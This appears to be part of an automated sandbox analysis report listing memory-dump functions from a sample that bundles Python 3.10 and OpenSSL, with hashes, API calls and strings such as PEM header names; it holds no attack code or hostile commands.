Associated: 00000003.00000002.2579616747.00007FF8A8105000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8107000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8123000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8127000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a7de0000_stub.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4a05bc55b2066a7187323e953b078a103b482693bcdf281379c1a7783cf3f727
Instruction ID: 1ac810f876328ad11b0679031e2ee8140d3c3253d27193548e15d3d89052144d
Opcode Fuzzy Hash: 4a05bc55b2066a7187323e953b078a103b482693bcdf281379c1a7783cf3f727
Instruction Fuzzy Hash: 7A111C15D04FBE21F663567AC0079250600DEB7FD8900FB1BBD98F0693EFB15D886210

Function 00007FF8A7DE710D Relevance: .0, Instructions: 42COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2578323569.00007FF8A7DE1000.00000020.00000001.01000000.00000014.sdmp, Offset: 00007FF8A7DE0000, based on PE: true

Associated: 00000003.00000002.2578290521.00007FF8A7DE0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7DED000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E45000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E59000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E6A000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E70000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E7D000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A802D000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A802F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A805A000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A808B000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A80B1000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A80D7000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579582027.00007FF8A80FF000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579616747.00007FF8A8105000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8107000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8123000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8127000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a7de0000_stub.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 667a397946a3a5037185f5473f8c2ac103c19c82a33308ece0f0ef67371eb0bd
Instruction ID: 99df6846d33047a17814f5d5510aa65016eb1875684ec58b0bc4d62e83bec0b1
Opcode Fuzzy Hash: 667a397946a3a5037185f5473f8c2ac103c19c82a33308ece0f0ef67371eb0bd
Instruction Fuzzy Hash: D701E2AAC29FAA41E713673D684328ADA109EF3989520E307FDF834E61F70975D06220

Function 00007FF8A7DE4241 Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2578323569.00007FF8A7DE1000.00000020.00000001.01000000.00000014.sdmp, Offset: 00007FF8A7DE0000, based on PE: true

Associated: 00000003.00000002.2578290521.00007FF8A7DE0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7DED000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E45000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E59000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E6A000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E70000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E7D000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A802D000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A802F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A805A000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A808B000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A80B1000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A80D7000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579582027.00007FF8A80FF000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579616747.00007FF8A8105000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8107000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8123000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8127000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a7de0000_stub.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ef918091fb096f7f3b15b52f56d1f20409e7fcd6a29bffb6e9c2c8edbbbe5802
Instruction ID: 3ca46ba8bb2b736fe8694d36172ac0bed07cce87441dbc845343cc950dd0db37
Opcode Fuzzy Hash: ef918091fb096f7f3b15b52f56d1f20409e7fcd6a29bffb6e9c2c8edbbbe5802
Instruction Fuzzy Hash: 98F0B4313282A109C755CE366408F5D2DD1D791BC9F12C030E90CC3F44E92EC9118B40

Function 00007FF8A7DE572C Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2578323569.00007FF8A7DE1000.00000020.00000001.01000000.00000014.sdmp, Offset: 00007FF8A7DE0000, based on PE: true

Associated: 00000003.00000002.2578290521.00007FF8A7DE0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7DED000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E45000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E59000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E6A000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E70000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E7D000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A802D000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A802F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A805A000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A808B000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A80B1000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A80D7000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579582027.00007FF8A80FF000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579616747.00007FF8A8105000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8107000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8123000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8127000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a7de0000_stub.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 55c2a1e253ae0d4be43f02913abd1952e0faa7daf1409bf0e3cf9f60e9e50613
Instruction ID: 81bb9cb035abf8cd743d6a69b53223dfb8c5dd1ac7b304c1568345d26c98f5b5
Opcode Fuzzy Hash: 55c2a1e253ae0d4be43f02913abd1952e0faa7daf1409bf0e3cf9f60e9e50613
Instruction Fuzzy Hash: FFE09A727193A409C796CE322108F6D2AA1AB14BC6F43C030D90D83A41F92E8A119B40

Function 00007FF8A7DE5510 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2578323569.00007FF8A7DE1000.00000020.00000001.01000000.00000014.sdmp, Offset: 00007FF8A7DE0000, based on PE: true

Associated: 00000003.00000002.2578290521.00007FF8A7DE0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7DED000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E45000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E59000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E6A000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E70000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E7D000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A802D000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A802F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A805A000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A808B000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A80B1000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A80D7000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579582027.00007FF8A80FF000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579616747.00007FF8A8105000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8107000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8123000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8127000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a7de0000_stub.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: facf699ffab6e1cfd1b6e3877df3e380d04299735e128777ad5c88a7e3681a46
Instruction ID: 9bfd95ad84bb0ee9f949161327ab55bf224a1fc99899b2fd1927cfe04d2323cb
Opcode Fuzzy Hash: facf699ffab6e1cfd1b6e3877df3e380d04299735e128777ad5c88a7e3681a46
Instruction Fuzzy Hash: 9AD0C999E09F5D12FC1689F19677FA746228DF33CC910E327BD097B855DB288540B100

Function 00007FF8A7F940C0 Relevance: 49.7, APIs: 19, Strings: 14, Instructions: 223stringCOMMON

Download Yara Rule

APIs

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,00007FF8A7F94D03,?,?,?,?,?,?,?,?,00007FF8A7F92D3B), ref: 00007FF8A7F94111
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,00007FF8A7F94D03,?,?,?,?,?,?,?,?,00007FF8A7F92D3B), ref: 00007FF8A7F94128
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,00007FF8A7F94D03,?,?,?,?,?,?,?,?,00007FF8A7F92D3B), ref: 00007FF8A7F9413F
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,00007FF8A7F94D03,?,?,?,?,?,?,?,?,00007FF8A7F92D3B), ref: 00007FF8A7F94172
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,00007FF8A7F94D03,?,?,?,?,?,?,?,?,00007FF8A7F92D3B), ref: 00007FF8A7F941BB
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,00007FF8A7F94D03,?,?,?,?,?,?,?,?,00007FF8A7F92D3B), ref: 00007FF8A7F941EF
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,00007FF8A7F94D03,?,?,?,?,?,?,?,?,00007FF8A7F92D3B), ref: 00007FF8A7F94241
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,00007FF8A7F94D03,?,?,?,?,?,?,?,?,00007FF8A7F92D3B), ref: 00007FF8A7F94254
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,00007FF8A7F94D03,?,?,?,?,?,?,?,?,00007FF8A7F92D3B), ref: 00007FF8A7F9426B
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,00007FF8A7F94D03,?,?,?,?,?,?,?,?,00007FF8A7F92D3B), ref: 00007FF8A7F9427E
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,00007FF8A7F94D03,?,?,?,?,?,?,?,?,00007FF8A7F92D3B), ref: 00007FF8A7F94295
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,00007FF8A7F94D03,?,?,?,?,?,?,?,?,00007FF8A7F92D3B), ref: 00007FF8A7F942A8
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,00007FF8A7F94D03,?,?,?,?,?,?,?,?,00007FF8A7F92D3B), ref: 00007FF8A7F942BF
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,00007FF8A7F94D03,?,?,?,?,?,?,?,?,00007FF8A7F92D3B), ref: 00007FF8A7F942D2
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,00007FF8A7F94D03,?,?,?,?,?,?,?,?,00007FF8A7F92D3B), ref: 00007FF8A7F942E5
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,00007FF8A7F94D03,?,?,?,?,?,?,?,?,00007FF8A7F92D3B), ref: 00007FF8A7F942F8
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,00007FF8A7F94D03,?,?,?,?,?,?,?,?,00007FF8A7F92D3B), ref: 00007FF8A7F9430B
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,00007FF8A7F94D03,?,?,?,?,?,?,?,?,00007FF8A7F92D3B), ref: 00007FF8A7F94357
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,00007FF8A7F94D03,?,?,?,?,?,?,?,?,00007FF8A7F92D3B), ref: 00007FF8A7F94382

Strings

NEW CERTIFICATE REQUEST, xrefs: 00007FF8A7F9428B
X9.42 DH PARAMETERS, xrefs: 00007FF8A7F94237
CERTIFICATE REQUEST, xrefs: 00007FF8A7F9429E
PRIVATE KEY, xrefs: 00007FF8A7F94135, 00007FF8A7F94164
TRUSTED CERTIFICATE, xrefs: 00007FF8A7F942C8, 00007FF8A7F942EE
CMS, xrefs: 00007FF8A7F94387
ENCRYPTED PRIVATE KEY, xrefs: 00007FF8A7F9411E
X509 CERTIFICATE, xrefs: 00007FF8A7F94261, 00007FF8A7F942DB
CERTIFICATE, xrefs: 00007FF8A7F94274, 00007FF8A7F942B5, 00007FF8A7F94301, 00007FF8A7F94378
ANY PRIVATE KEY, xrefs: 00007FF8A7F94107
PKCS #7 SIGNED DATA, xrefs: 00007FF8A7F9434D
DH PARAMETERS, xrefs: 00007FF8A7F9424A
PKCS7, xrefs: 00007FF8A7F94312
PARAMETERS, xrefs: 00007FF8A7F941B1, 00007FF8A7F941E1

Memory Dump Source

Source File: 00000003.00000002.2578323569.00007FF8A7E7D000.00000020.00000001.01000000.00000014.sdmp, Offset: 00007FF8A7DE0000, based on PE: true

Associated: 00000003.00000002.2578290521.00007FF8A7DE0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7DE1000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7DED000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E45000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E59000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E6A000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E70000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A802D000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A802F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A805A000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A808B000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A80B1000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A80D7000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579582027.00007FF8A80FF000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579616747.00007FF8A8105000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8107000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8123000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8127000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a7de0000_stub.jbxd

Similarity

API ID: strcmp
String ID: ANY PRIVATE KEY$CERTIFICATE$CERTIFICATE REQUEST$CMS$DH PARAMETERS$ENCRYPTED PRIVATE KEY$NEW CERTIFICATE REQUEST$PARAMETERS$PKCS #7 SIGNED DATA$PKCS7$PRIVATE KEY$TRUSTED CERTIFICATE$X509 CERTIFICATE$X9.42 DH PARAMETERS
API String ID: 1004003707-1119032718
Opcode ID: 88557610c1077b526ed49270ffd766f7b77ef80781f962a522a209ea931fc564
Instruction ID: 7940b75c1ddb3bd17e27ef9ead76df911eeb9c37905d30cda66be968238b22de
Opcode Fuzzy Hash: 88557610c1077b526ed49270ffd766f7b77ef80781f962a522a209ea931fc564
Instruction Fuzzy Hash: 58910121F0EE4370FE519F35A5002BE2690DF75BD4F845132DA5E862C6EF6CE624A3A4

Function 00007FF8A7DE1B77 Relevance: 31.7, APIs: 11, Strings: 7, Instructions: 204stringCOMMON

Download Yara Rule

APIs

strncmp.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF8A7F9334A
strspn.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF8A7F9338A
strspn.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF8A7F933AE
strncmp.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF8A7F933C7
strspn.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF8A7F933E3
strspn.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF8A7F933FC

Strings

, xrefs: 00007FF8A7F933F2
,, xrefs: 00007FF8A7F9348A
Proc-Type:, xrefs: 00007FF8A7F93343
ENCRYPTED, xrefs: 00007FF8A7F933BA
, xrefs: 00007FF8A7F933D9
..\s\crypto\pem\pem_lib.c, xrefs: 00007FF8A7F93364, 00007FF8A7F93417, 00007FF8A7F93459, 00007FF8A7F934CE, 00007FF8A7F93516, 00007FF8A7F93544, 00007FF8A7F935F9
DEK-Info:, xrefs: 00007FF8A7F93437

Memory Dump Source

Source File: 00000003.00000002.2578323569.00007FF8A7DE1000.00000020.00000001.01000000.00000014.sdmp, Offset: 00007FF8A7DE0000, based on PE: true

Associated: 00000003.00000002.2578290521.00007FF8A7DE0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7DED000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E45000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E59000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E6A000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E70000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E7D000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A802D000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A802F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A805A000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A808B000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A80B1000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A80D7000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579582027.00007FF8A80FF000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579616747.00007FF8A8105000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8107000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8123000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8127000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a7de0000_stub.jbxd

Similarity

API ID: strspn$strncmp
String ID: $ $ ,$..\s\crypto\pem\pem_lib.c$DEK-Info:$ENCRYPTED$Proc-Type:
API String ID: 1384302209-3505811795
Opcode ID: 7985cfdb996600f2f998fb0a24256cf60aa534b4d69326ebc210f6f3ee5533b5
Instruction ID: e34cc1cc754107038b9760143d2f7c91d2114080b17b3ec5908fc2472391bcf7
Opcode Fuzzy Hash: 7985cfdb996600f2f998fb0a24256cf60aa534b4d69326ebc210f6f3ee5533b5
Instruction Fuzzy Hash: B3918C61A0EA53B6EB218F25A84027E37A4FF057C4F804034DA4E43B95EF3CE65AD758

Function 00007FF8A7CC1150 Relevance: 26.4, APIs: 10, Strings: 5, Instructions: 188COMMON

Download Yara Rule

APIs

_PyUnicode_EqualToASCIIId.PYTHON310 ref: 00007FF8A7CC11DF
_PyUnicode_EqualToASCIIId.PYTHON310 ref: 00007FF8A7CC11F7
PyType_IsSubtype.PYTHON310 ref: 00007FF8A7CC121A

Part of subcall function 00007FF8A7CC12F0: PyMem_Malloc.PYTHON310 ref: 00007FF8A7CC1372

_PyArg_CheckPositional.PYTHON310 ref: 00007FF8A7CC3697
_PyUnicode_Ready.PYTHON310 ref: 00007FF8A7CC36AD
_PyUnicode_Ready.PYTHON310 ref: 00007FF8A7CC36C4
_PyUnicode_EqualToASCIIId.PYTHON310 ref: 00007FF8A7CC372D
_PyArg_BadArgument.PYTHON310 ref: 00007FF8A7CC37F1

Strings

str, xrefs: 00007FF8A7CC37E3
argument 2, xrefs: 00007FF8A7CC37D3
argument 1, xrefs: 00007FF8A7CC37DC
normalize, xrefs: 00007FF8A7CC368A, 00007FF8A7CC37EA
invalid normalization form, xrefs: 00007FF8A7CC37BD

Memory Dump Source

Source File: 00000003.00000002.2577937642.00007FF8A7CC1000.00000020.00000001.01000000.00000019.sdmp, Offset: 00007FF8A7CC0000, based on PE: true

Associated: 00000003.00000002.2577906735.00007FF8A7CC0000.00000002.00000001.01000000.00000019.sdmpDownload File
Associated: 00000003.00000002.2577968175.00007FF8A7CC6000.00000002.00000001.01000000.00000019.sdmpDownload File
Associated: 00000003.00000002.2577968175.00007FF8A7D24000.00000002.00000001.01000000.00000019.sdmpDownload File
Associated: 00000003.00000002.2577968175.00007FF8A7D70000.00000002.00000001.01000000.00000019.sdmpDownload File
Associated: 00000003.00000002.2577968175.00007FF8A7D73000.00000002.00000001.01000000.00000019.sdmpDownload File
Associated: 00000003.00000002.2577968175.00007FF8A7DCC000.00000002.00000001.01000000.00000019.sdmpDownload File
Associated: 00000003.00000002.2578220680.00007FF8A7DCF000.00000004.00000001.01000000.00000019.sdmpDownload File
Associated: 00000003.00000002.2578251692.00007FF8A7DD1000.00000002.00000001.01000000.00000019.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a7cc0000_stub.jbxd

Similarity

API ID: Unicode_$Equal$Arg_Ready$ArgumentCheckMallocMem_PositionalSubtypeType_
String ID: argument 1$argument 2$invalid normalization form$normalize$str
API String ID: 3079088272-4140678229
Opcode ID: b63d4111027b7d17c78fc4b47aaa094f50196fe0255e735cc8f8d6f37343e932
Instruction ID: 0e507bc3671f390245b0f8326c9a0e8eb90d39f5857203bf5ab44d3e18d4cb76
Opcode Fuzzy Hash: b63d4111027b7d17c78fc4b47aaa094f50196fe0255e735cc8f8d6f37343e932
Instruction Fuzzy Hash: 1381A0A5E0E682A2FB548F22952467E67A5FF45BC4F844231CF4E87795DF2CE805E301

Function 00007FF8A7DE4E3F Relevance: 24.7, APIs: 10, Strings: 4, Instructions: 205registryfileCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32 ref: 00007FF8A7EEDE04
GetFileType.KERNEL32 ref: 00007FF8A7EEDE15
__stdio_common_vsprintf.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF8A7EEDE51
WriteFile.KERNEL32 ref: 00007FF8A7EEDE79
MultiByteToWideChar.KERNEL32 ref: 00007FF8A7EEDEE6
__stdio_common_vswprintf.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF8A7EEE075
RegisterEventSourceW.ADVAPI32 ref: 00007FF8A7EEE094
ReportEventW.ADVAPI32 ref: 00007FF8A7EEE0D6
DeregisterEventSource.ADVAPI32 ref: 00007FF8A7EEE0DF

Strings

OpenSSL: FATAL, xrefs: 00007FF8A7EEE0ED
, xrefs: 00007FF8A7EEDF00
no stack?, xrefs: 00007FF8A7EEDECC
OpenSSL, xrefs: 00007FF8A7EEE08D

Memory Dump Source

Source File: 00000003.00000002.2578323569.00007FF8A7DE1000.00000020.00000001.01000000.00000014.sdmp, Offset: 00007FF8A7DE0000, based on PE: true

Associated: 00000003.00000002.2578290521.00007FF8A7DE0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7DED000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E45000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E59000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E6A000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E70000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E7D000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A802D000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A802F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A805A000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A808B000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A80B1000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A80D7000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579582027.00007FF8A80FF000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579616747.00007FF8A8105000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8107000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8123000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8127000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a7de0000_stub.jbxd

Similarity

API ID: Event$FileSource$ByteCharDeregisterHandleMultiRegisterReportTypeWideWrite__stdio_common_vsprintf__stdio_common_vswprintf
